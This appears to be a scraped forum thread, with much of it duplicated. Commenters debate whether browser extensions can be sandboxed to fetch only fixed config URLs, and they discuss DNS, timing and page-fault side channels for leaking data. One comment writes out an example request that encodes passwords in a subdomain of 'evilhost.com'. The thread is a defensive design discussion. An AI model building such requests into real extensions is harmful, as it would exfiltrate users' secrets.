5 ms·

Could browser extensions be ran in a sandbox, with read_access to the page, but only able to read from whitelisted registered and fixed URLs for updating config

Could browser extensions be ran in a sandbox, with read_access to the page, but only able to read from whitelisted registered and fixed URLs for updating configuration etc? So your blocking extension can download lists of things to block, or other config, but it can't exfiltrate any information about the user's browsing habits. The only side channel I can then think of is using page rewriting or timing to communicate when the user browses to a page controlled by the extension owner. This would be something that there is at least a hope of spotting?

bzb3 6y ago
Of course, that's how it works in Safari.
IncRnd 6y ago
In the same way that DNS requests can exfiltrate data, requesting URLs can also exfiltrate data. This is trivial to perform.
- bgdam 6y ago
  This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.
  - deleted 6y ago
    [deleted]
  - ucosty 6y ago
    You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data. https://blogs.akamai.com/2017/09/introduction-to-dns-data-exfiltration.html https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...
  - vbezhenar 6y ago
    Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evilhost.com/ https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.
  - IncRnd 6y ago
    There is a lot more to the DNS protocol and packet structure than you are aware. DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.
- willvarfar 6y ago
  Why I specified "fixed URLs", to close that loophole
  - yjftsjthsd-h 6y ago
    My fixed URLs are example.com/0 and example.com/1; I'm going to load them a lot, sometimes in different sequences.
    - kyboren 6y ago
      This is really a fantastic, concise explanation of the pitfalls in OP's logic. Bravo. Still: The bandwidth of the side channel can be dramatically reduced with a combination of a limit on the number of fixed addresses that can be requested and a limit on the rate of URL requests. If only one fixed URL may be requested, then the only information revealed[1] is the fact of the request (1 bit) and the time of the request. If that URL may only be requested once per day, scheduled at a time of day chosen uniformly at random, then side channel bandwidth is limited to 1 bit / day, so it would take a good chunk of a year to exfiltrate a disk encryption key. If that URL may be requested only once per week, then it would take nearly five years to exfiltrate a 256-bit key. Configuration data does not need to be updated so frequently, so this seems like a reasonable strategy. [1]: (except for potential request metadata that you leak across the web anyway, e.g. IP address or browser user agent string)
      - pdkl95 6y ago
        > The bandwidth of the side channel can be dramatically reduced In the late 90s I read a paper about using page faults to exfiltrate data to a low privilege process on a TCSEC B [1] system. A very low bandwidth, noisy side channel was created by using different amount of memory in a privileged process. The low privilege process received the data by initially allocating a large amount of memory and regularly walking across pages while timing each memory read to detect page faults. It was extremely noisy, but a standard error correction scheme and some clever tuning let them exfiltrate data at "a few hundred bits"/hour. That might be plenty of bandwidth, if you're trying to send keys, names, ID numbers, etc. As usual, the utility of a very low bandwidth channel depends on your threat model. > e.g. IP address or browser user agent string) Or the variations in your OS's IP implementation that allow nmap to guess your OS[2]. Or the various "random" ways[3] different OS generate the TCP ISN (Initial Sequence Number). Security is hard... ~sigh~ [1] https://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria#B_%E2%80%93_Mandatory_protection https://en.wikipedia.org/wiki/Trusted_Computer_System_Evalua... [2] https://nmap.org/book/man-os-detection.html https://nmap.org/book/man-os-detection.html [3] https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html
jopsen 6y ago
Next up is a firestorm over broken extensions, followed by baseless conspiracy theories on how this is all ploy for Mozilla to ban adblockers.. Web Extensions caused lots of outcry, when it was mostly about making extensions async and better sandboxed. EME caused similar outcry, when in fact it migrated us away from plugins riddled with security vulnerabilities (hint Flash). Today most DRM crap runs in a sandbox -- DRM still sucks, but it doesn't compromise my browser :) I'm suspect, extensions will be sandboxed further, but this will take time.
- Silhouette 6y ago
  The Web Extensions change in Firefox caused complaints mostly because it broke so much useful functionality, much of which has never been replaced. In quite a few cases that was because of the new security model, but also because the new API simply wasn't powerful enough to do the job properly either.
aembleton 6y ago
Or just don't let it send data. Most plugins have no need to do that.
- eru 6y ago
  It's a good idea, but wouldn't be enough to secure something like uBlock origin. Elements filtered by uBlock origin are typically not even loaded over the net. That means that an outside observer can see what uBlock origin does. However, you could envision a variant of uBlock origin that still loads everything, and only does cosmetic blocking. But eg an extensions that is supposed to protect your privacy will have to have an influence on your browser's network output.
gorhill 6y ago
It's a similar idea I shared with Moz people last year when asked about how privacy concerns raised in manifest v3 could be addressed, I quote myself: === > The host permission in current extension framework does not distinguish between accessing all the data and connecting to any remote server. > > The key issue I see is that it also allows uBO to connect to any remote server. I think it would help a lot to have a _separate_ permission for remote server access, since this is the key privacy issue here: user data leaving the browser to be collected by a remote server. > > So what about a new permission specifically dedicated to specify where an extension is allowed to connect? Without this permission, an extension wouldn't be allowed to connect to a remote server, i.e. unable to leak user data. === As a mental framework, I consider the ability to see the URL of all requests or all the DOM to be a read operation, while extensions making requests to remote server (directly or indirectly) is a write operation (to the wide internet). The latter is where the real privacy concerns are, and this is what should be tackled in some manner. I don't see manifest v3 addressing this[1]. * * * [1] https://www.eff.org/deeplinks/2019/07/googles-plans-chrome-extensions-wont-really-help-security https://www.eff.org/deeplinks/2019/07/googles-plans-chrome-e...

bzb3 6y ago

Of course, that's how it works in Safari.

IncRnd 6y ago

In the same way that DNS requests can exfiltrate data, requesting URLs can also exfiltrate data. This is trivial to perform.

bgdam 6y ago
This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.
- deleted 6y ago
  [deleted]
- ucosty 6y ago
  You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data. https://blogs.akamai.com/2017/09/introduction-to-dns-data-exfiltration.html https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...
- vbezhenar 6y ago
  Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evilhost.com/ https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.
- IncRnd 6y ago
  There is a lot more to the DNS protocol and packet structure than you are aware. DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.
willvarfar 6y ago
Why I specified "fixed URLs", to close that loophole
- yjftsjthsd-h 6y ago
  My fixed URLs are example.com/0 and example.com/1; I'm going to load them a lot, sometimes in different sequences.
  - kyboren 6y ago
    This is really a fantastic, concise explanation of the pitfalls in OP's logic. Bravo. Still: The bandwidth of the side channel can be dramatically reduced with a combination of a limit on the number of fixed addresses that can be requested and a limit on the rate of URL requests. If only one fixed URL may be requested, then the only information revealed[1] is the fact of the request (1 bit) and the time of the request. If that URL may only be requested once per day, scheduled at a time of day chosen uniformly at random, then side channel bandwidth is limited to 1 bit / day, so it would take a good chunk of a year to exfiltrate a disk encryption key. If that URL may be requested only once per week, then it would take nearly five years to exfiltrate a 256-bit key. Configuration data does not need to be updated so frequently, so this seems like a reasonable strategy. [1]: (except for potential request metadata that you leak across the web anyway, e.g. IP address or browser user agent string)
    - pdkl95 6y ago
      > The bandwidth of the side channel can be dramatically reduced In the late 90s I read a paper about using page faults to exfiltrate data to a low privilege process on a TCSEC B [1] system. A very low bandwidth, noisy side channel was created by using different amount of memory in a privileged process. The low privilege process received the data by initially allocating a large amount of memory and regularly walking across pages while timing each memory read to detect page faults. It was extremely noisy, but a standard error correction scheme and some clever tuning let them exfiltrate data at "a few hundred bits"/hour. That might be plenty of bandwidth, if you're trying to send keys, names, ID numbers, etc. As usual, the utility of a very low bandwidth channel depends on your threat model. > e.g. IP address or browser user agent string) Or the variations in your OS's IP implementation that allow nmap to guess your OS[2]. Or the various "random" ways[3] different OS generate the TCP ISN (Initial Sequence Number). Security is hard... ~sigh~ [1] https://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria#B_%E2%80%93_Mandatory_protection https://en.wikipedia.org/wiki/Trusted_Computer_System_Evalua... [2] https://nmap.org/book/man-os-detection.html https://nmap.org/book/man-os-detection.html [3] https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html

jopsen 6y ago

Next up is a firestorm over broken extensions, followed by baseless conspiracy theories on how this is all ploy for Mozilla to ban adblockers.. Web Extensions caused lots of outcry, when it was mostly about making extensions async and better sandboxed. EME caused similar outcry, when in fact it migrated us away from plugins riddled with security vulnerabilities (hint Flash). Today most DRM crap runs in a sandbox -- DRM still sucks, but it doesn't compromise my browser :) I'm suspect, extensions will be sandboxed further, but this will take time.

Silhouette 6y ago
The Web Extensions change in Firefox caused complaints mostly because it broke so much useful functionality, much of which has never been replaced. In quite a few cases that was because of the new security model, but also because the new API simply wasn't powerful enough to do the job properly either.

aembleton 6y ago

Or just don't let it send data. Most plugins have no need to do that.

eru 6y ago
It's a good idea, but wouldn't be enough to secure something like uBlock origin. Elements filtered by uBlock origin are typically not even loaded over the net. That means that an outside observer can see what uBlock origin does. However, you could envision a variant of uBlock origin that still loads everything, and only does cosmetic blocking. But eg an extensions that is supposed to protect your privacy will have to have an influence on your browser's network output.

gorhill 6y ago

It's a similar idea I shared with Moz people last year when asked about how privacy concerns raised in manifest v3 could be addressed, I quote myself: === > The host permission in current extension framework does not distinguish between accessing all the data and connecting to any remote server. > > The key issue I see is that it also allows uBO to connect to any remote server. I think it would help a lot to have a _separate_ permission for remote server access, since this is the key privacy issue here: user data leaving the browser to be collected by a remote server. > > So what about a new permission specifically dedicated to specify where an extension is allowed to connect? Without this permission, an extension wouldn't be allowed to connect to a remote server, i.e. unable to leak user data. === As a mental framework, I consider the ability to see the URL of all requests or all the DOM to be a read operation, while extensions making requests to remote server (directly or indirectly) is a write operation (to the wide internet). The latter is where the real privacy concerns are, and this is what should be tackled in some manner. I don't see manifest v3 addressing this[1]. * * * [1] https://www.eff.org/deeplinks/2019/07/googles-plans-chrome-extensions-wont-really-help-security https://www.eff.org/deeplinks/2019/07/googles-plans-chrome-e...